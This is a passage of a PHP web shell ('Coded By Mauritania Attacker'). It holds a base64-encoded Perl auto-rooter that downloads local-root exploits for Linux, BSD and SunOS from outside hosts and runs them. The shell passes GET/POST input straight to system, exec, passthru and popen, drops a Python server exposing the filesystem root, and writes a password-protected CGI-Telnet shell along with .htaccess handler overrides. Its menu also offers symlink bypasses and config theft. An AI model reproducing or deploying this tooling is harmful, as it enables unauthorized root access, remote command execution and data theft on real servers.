RwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L0xpbnV4XzIuNi45LWpvb2x5c2hpdCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgTGludXhfMi42Ljktam9vbHlzaGl0Iik7DQpzeXN0ZW0oIi4vMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2FjaWQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGFjaWQiKTsNCnN5c3RlbSgiLi9hY2lkIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9kM3ZpbCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgZDN2aWwiKTsNCnN5c3RlbSgiLi9kM3ZpbCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvZXhwMSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgZXhwMSIpOw0Kc3lzdGVtKCIuL2V4cDEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2V4cDIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGV4cDIiKTsNCnN5c3RlbSgiLi9leHAyIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9leHAzIik7DQpzeXN0ZW0oImNobW9kIDc3NyBleHAzIik7DQpzeXN0ZW0oIi4vZXhwMyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvZXhwbG9pdCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgZXhwbG9pdCIpOw0Kc3lzdGVtKCIuL2V4cGxvaXQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2Z1bGwtbmVsc29uIik7DQpzeXN0ZW0oImNobW9kIDc3NyBmdWxsLW5lbHNvbiIpOw0Kc3lzdGVtKCIuL2Z1bGwtbmVsc29uIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9nYXlyb3MiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGdheXJvcyIpOw0Kc3lzdGVtKCIuL2dheXJvcyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvbGVuaXMuc2giKTsNCnN5c3RlbSgiY2htb2QgNzc3IGxlbmlzLnNoIik7DQpzeXN0ZW0oIi4vbGVuaXMuc2giKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2xvY2FsLTIuNi45LTIwMDUtMjAwNiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgbG9jYWwtMi42LjktMjAwNS0yMDA2Iik7DQpzeXN0ZW0oIi4vbG9jYWwtMi42LjktMjAwNS0yMDA2Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9sb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zIik7DQpzeXN0ZW0oImNobW9kIDc3NyBsb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zIik7DQpzeXN0ZW0oIi4vbG9jYWwtcm9vdC1leHBsb2l0LWdheXJvcyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvcHJpdjQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHByaXY0Iik7DQpzeXN0ZW0oIi4vcHJpdjQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3B3bmtlcm5lbCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgcHdua2VybmVsIik7DQpzeXN0ZW0oIi4vcHdua2VybmVsIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9yb290LnB5Iik7DQpzeXN0ZW0oImNobW9kIDc3NyByb290LnB5Iik7DQpzeXN0ZW0oIi4vcm9vdC5weSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvcnVueCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgcnVueCIpOw0Kc3lzdGVtKCIuL3J1bngiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3Rpdm9saSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgdGl2b2xpIik7DQpzeXN0ZW0oIi4vdGl2b2xpIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC91YnVudHUiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHVidW50dSIpOw0Kc3lzdGVtKCIuL3VidW50dSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9hLnBvbWYuc2UvdHhmZmd2LnppcCIpOw0Kc3lzdGVtKCJ1bnppcCB0eGZmZ3YuemlwIik7DQpzeXN0ZW0oImNobW9kICt4IHRyb2xsZWQiKTsNCnN5c3RlbSgiLi90cm9sbGVkIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oImNobW9kICt4IDNfWCIpOw0Kc3lzdGVtKCIuLzNfWCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0KDQoNCnByaW50ICJFbmQgTGludXguLiBbK11cbiI7DQp9DQppZiAoJEFSR1ZbMF0gPX4gImJzZCIgKQ0Kew0KcHJpbnQgIiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyNcbiI7DQpwcmludCAiIyBMaW51eC9Cc2QvU3Vub3MgQVVUTy1ST09URVIgICNcbiI7DQpwcmludCAiIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICNcbiI7DQpwcmludCAiIyAgICAgICAgSGF2ZSBhIGNvZmZlICAgICAgICAgICNcbiI7DQpwcmludCAiIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICNcbiI7DQpwcmludCAiIyAgICAgICBSb290aW5nIEJTRCAgICAgICAgICAgICNcbiI7DQpwcmludCAiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsNCnN5c3RlbSgidW5hbWUgLWE7bWtkaXIgYnNkO2NkIGJzZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2EucG9tZi5zZS9qd2dvYm4uemlwIik7DQpzeXN0ZW0oInVuemlwIGp3Z29ibi56aXAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDQ4bG9jYWwiKTsNCnN5c3RlbSgiLi80OGxvY2FsIik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgiY2htb2QgNzc3IGJzZGxvY2FsIik7DQpzeXN0ZW0oIi4vYnNkbG9jYWwiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCJjaG1vZCA3NzcgQlNEMy42X2xvY2Fscm9vdCIpOw0Kc3lzdGVtKCIuL0JTRDMuNl9sb2NhbHJvb3QiKTsNCnN5c3RlbSgiaWQiKTsNCg0KDQoNCg0KcHJpbnQgIkVuZCBCc2QuLiBbK11cbiI7DQp9DQppZiAoJEFSR1ZbMF0gPX4gInN1bm9zIiApDQp7DQpwcmludCAiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsNCnByaW50ICIjIExpbnV4L0JzZC9TdW5vcyBBVVRPLVJPT1RFUiAgI1xuIjsNCnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgICBIYXZlIGEgY29mZmUgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgIFJvb3RpbmcgU3Vub3MgICAgICAgICAgI1xuIjsNCnByaW50ICIjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOw0Kc3lzdGVtKCJ1bmFtZSAtYTtta2RpciBzdW5vcztjZCBzdW5vcyIpOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9hLnBvbWYuc2Uva2twZ3ZzLnppcCIpOw0Kc3lzdGVtKCJ1bnppcCBra3BndnMuemlwIik7DQpzeXN0ZW0oImNobW9kIDc3NyB4X29zaC5wbCAiKTsNCnN5c3RlbSgicGVybCB4X29zaC5wbCAiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC9TdW5PUyUyMDUuOS9zdW5vczU5Iik7DQpzeXN0ZW0oImNobW9kIDc3NyBzdW5vczU5Iik7DQpzeXN0ZW0oIi4vc3Vub3M1OSIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290L1N1bk9TJTIwNS44L2ZpbmFsIik7DQpzeXN0ZW0oImNobW9kIDc3NyBmaW5hbCIpOw0Kc3lzdGVtKCIuL2ZpbmFsIik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvU3VuT1MlMjA1Ljcvc29sYXJpczI3Iik7DQpzeXN0ZW0oImNobW9kICt4IHNvbGFyaXMyNyIpOw0Kc3lzdGVtKCIuL3NvbGFyaXMyNyIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290L1N1bk9TJTIwNS4xMC9zdW5vczUxMCIpOw0Kc3lzdGVtKCJjaG1vZCAreCBzdW5vczUxMCIpOw0Kc3lzdGVtKCIuL3N1bm9zNTEwIik7DQpzeXN0ZW0oImlkIik7DQoNCg0KcHJpbnQgIkVuZCBTdW5PUyAuLlsrXVxuIjsNCn0=\';
$chmoderr = fopen("lulZ/autoroot.pl" ,"w+");
$write = fwrite ($chmoderr ,base64_decode($shellw0rm));
if($write){
echo \'<p>Script Autoroot is here ===> \'.getcwd().\'/lulZ/autoroot.pl</p>\';
fclose($chmoderr);
chmod("lulZ/autoroot.pl",0755);


//Extracting htaccess to enable perl handler and type all depends on the server :D
$htaccess = \'T3B0aW9ucyBJbmNsdWRlcyBJbmNsdWRlc05PRVhFQyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ0KDQpBZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtY2dpIC5wbA0KQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLWNnaSAucGwNCg0KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5wbA0KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5wbA==\';
$lol = fopen("lulZ/.htaccess" ,"w+");
$dwrite = fwrite ($lol ,base64_decode($htaccess));
fclose($chmoderr);

echo \'<p>Back Connect and go to this directory ====> cd \'.getcwd().\'/lulZ/</p>\';
echo "<p>Autoroot Command : perl autoroot.pl</p>";

}
}
  
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'pytcp\'){
echo \'<center><b class="conte">
<a href="?action=sym">Symlink Info</a> -
<a href="?action=dose">Cms Scanner</a> -
<a href="?action=vkill">Perl based Symlink</a> -
<a href="?action=file">Symlink Manual</a> -
<a href="?action=manu">Manually Retrieve Config</a> -
<a href="?action=ensim">Enable Symlink If Disabled</a> -
<a href="?action=pytcp">Python Bypass Forbidden Via TCP Protocol</a> -
<a href="?action=simby">Symlink Bypass 2014</a> </center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass Forbidden with Python via TCP Protocol</span><center><br>\';
echo \'<p><font face="Tahoma" align="center" size="2" color="#007700"> Coded By Mauritania Attacker </font></p><br>\';
echo \'
<form method=get action="\'.$me.\'">
<p>
<textarea class="area" rows="17" name="S1" cols="70" >\';
$shellw0rm = \'aW1wb3J0IFNpbXBsZUhUVFBTZXJ2ZXINCmltcG9ydCBTb2NrZXRTZXJ2ZXINCmltcG9ydCBvcw0KIA0KcG9ydCA9IDEzMTIzDQogDQppZiBfX25hbWVfXz09J19fbWFpbl9fJzoNCiAgICAgICAgb3MuY2hkaXIoJy8nKQ0KICAgICAgICBIYW5kbGVyID0gU2ltcGxlSFRUUFNlcnZlci5TaW1wbGVIVFRQUmVxdWVzdEhhbmRsZXINCiANCiAgICAgICAgaHR0cGQgPSBTb2NrZXRTZXJ2ZXIuVENQU2VydmVyKCgiIiwgcG9ydCksIEhhbmRsZXIpDQogDQogICAgICAgIHByaW50KCJOb3cgb3BlbiB0aGlzIHNlcnZlciBvbiB3ZWJicm93c2VyIGF0IHBvcnQgOiAiICsgc3RyKHBvcnQpKQ0KICAgICAgICBwcmludCgiZXhhbXBsZTogaHR0cDovL21haG8uY29tOiIgKyBzdHIocG9ydCkpDQogICAgICAgIGh0dHBkLnNlcnZlX2ZvcmV2ZXIoKQ==\';
$file = fopen("pyProsym.py" ,"w+");
$write = fwrite ($file ,base64_decode($shellw0rm));
fclose($file);
chmod("pyProsym.py",0755);

if (strlen($_GET[\'command\'])>1 && $_GET[\'execmethod\']!="popen"){
echo $_GET[\'execmethod\']($_GET[\'command\']);}
if (strlen($_POST[\'command\'])>1 && $_POST[\'execmethod\']!="popen"){
echo $_POST[\'execmethod\']($_POST[\'command\']);}

if (strlen($_GET[\'command\'])>1 && $_GET[\'execmethod\']=="popen"){
popen($_GET[\'command\'],"r");}

echo\'</textarea></p><br>
<p><center>View Root Like This ===>  example: http://site.com:13123</center></p>
<p><center>Default port:13123</center></p>
<p><center>If you can launch this command from Back Connect it is more better \!/</center></p>
<br><p align="center">
<strong>Command: python pyProsym.py</strong><input type=hidden name="vw" size="50" value="cmd"> <input type="text" name="command" size="43"> <select name=execmethod>
<option value="system">System</option>  <option value="exec">Exec</option>  <option value="passthru">Passthru</option><option value="popen">popen</option>
</select> <input type="submit" value="Execute">
</p></form><br><br>\';
}


if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'cgi4e\'){
mkdir(\'cgi4e\', 0755);
chdir(\'cgi4e\');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , \'w\') or die ("Dosya a&#231;&#305;lamad&#305;!");
$metin = "AddType application/x-httpd-cgi .izo
AddType application/x-httpd-cgi .izo

AddHandler cgi-script .izo
AddHandler cgi-script .izo";    
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$cgi4e = \'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS40IjsNCiRFZGl0UGVyc2lvbj0iQW5vbkdob3N0IjsNCg0KJFBhc3N3b3JkID0gInZpcnVzYSI7CQkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzDQoJCQkJIyB0byBsb2dpbi4NCnN1YiBJc19XaW4oKXsNCgkkb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7DQoJaWYoJG9zID1+IG0vd2luL2kpew0KCQlyZXR1cm4gMTsNCgl9ZWxzZXsNCgkJcmV0dXJuIDA7DQoJfQ0KfQ0KJFdpbk5UID0gJklzX1dpbigpOwkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYNCgkJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQNCgkJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBvbiBVbml4LCB5b3UNCgkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLg0KDQokTlRDbWRTZXAgPSAiJiI7CQkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULg0KDQokVW5peENtZFNlcCA9ICI7IjsJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CQkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxlZA0KCQkJCQkjIERvbid0IHNldCB0aGlzIHRvIGEgdmVyeSBsYXJnZSB2YWx1ZS4gVGhpcyBpcw0KCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0DQoJCQkJCSMgdGFrZSB2ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4NCgkJCQkJIyBUaGlzIGlzIHZhbGlkIG9ubHkgb24gVW5peCBzZXJ2ZXJzLiBJdCBpcw0KCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4NCg0KJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlDQoJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlDQoJCQkJCSMgaXQgaXMgYnVmZmVyZWQgYW5kIHNlbmQgd2hlbiB0aGUgY29tbWFuZA0KCQkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UNCgkJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQNCgkJCQkJIyBpcyBiZWluZyBnZW5lcmF0ZWQuDQoNCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISENCg0KJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7DQokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7DQokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsNCiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7DQokY29scz0gMTMwOw0KJHJvd3M9IDI2Ow0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0DQojIHBhcnNlcyBHRVQsIFBPU1QgYW5kIG11bHRpcGFydC9mb3JtLWRhdGEgdGhhdCBpcyB1c2VkIGZvciB1cGxvYWRpbmcgZmlsZXMuDQojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uDQojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mDQojIHRoZSB2YXJpYWJsZS4gTm90ZTogTW9zdCBvZiB0aGUgY29kZSBpbiB0aGlzIGZ1bmN0aW9uIGlzIHRha2VuIGZyb20gb3RoZXIgQ0dJDQojIHNjcmlwdHMuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUmVhZFBhcnNlIA0Kew0KCWxvY2FsICgqaW4pID0gQF8gaWYgQF87DQoJbG9jYWwgKCRpLCAkbG9jLCAka2V5LCAkdmFsKTsNCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsNCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQ0KCXsNCgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQoJfQ0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQ0KCXsNCgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOw0KCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KCX0NCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0KCQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0KCQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIvOw0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsNCgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGldID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsNCgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICIiIGlmIChkZWZpbmVkKCRpbnska2V5fSkpOw0KCQkJJGlueyRrZXl9IC49ICR2YWw7DQoJCX0NCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIGZ1bmN0aW9uIEVuY29kZURpcjogZW5jb2RlIGJhc2U2NCBQYXRoDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRW5jb2RlRGlyDQp7DQoJbXkgJGRpciA9IHNoaWZ0Ow0KCSRkaXIgPSB0cmltKGVuY29kZV9iYXNlNjQoJGRpcikpOw0KCSRkaXIgPX4gcy8oXHJ8XG4pLy87DQoJcmV0dXJuICRkaXI7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcg0KIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlSGVhZGVyDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCW15ICRpZCA9IGBpZGAgaWYoISRXaW5OVCk7DQoJbXkgJGluZm8gPSBgdW5hbWUgLXMgLW4gLXIgLWlgOw0KCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOw0KCXByaW50IDw8RU5EOw0KPGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4NCjx0aXRsZT5Bbm9uR2hvc3QgQ2dpLVRlbG5ldCBbICRWZXJzaW9uIF08L3RpdGxlPg0KJEh0bWxNZXRhSGVhZGVyDQo8L2hlYWQ+DQo8c3R5bGU+DQpib2R5ew0KZm9udDogMTBwdCBWZXJkYW5hOw0KY29sb3I6ICNmZmY7DQp9DQp0cix0ZCx0YWJsZSxpbnB1dCx0ZXh0YXJlYSB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCn0NCiNkb21haW4gdHI6aG92ZXJ7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjNDQ0Ow0KfQ0KdGQgew0KY29sb3I6ICMyQkE4RUM7DQp9DQoubGlzdGRpciB0ZHsNCgl0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQoubGlzdGRpciB0aHsNCgljb2xvcjogI0ZGOTkwMDsNCn0NCi5kaXIsLmZpbGUNCnsNCgl0ZXh0LWFsaWduOiBsZWZ0ICFpbXBvcnRhbnQ7DQp9DQouZGlyew0KCWZvbnQtc2l6ZTogMTBwdDsgDQoJZm9udC13ZWlnaHQ6IGJvbGQ7DQp9DQp0YWJsZSB7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMTExOw0KfQ0KaW5wdXQgew0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpjb2xvcjogI2ZmOTkwMDsNCn0NCmlucHV0LnN1Ym1pdCB7DQp0ZXh0LXNoYWRvdzogMHB0IDBwdC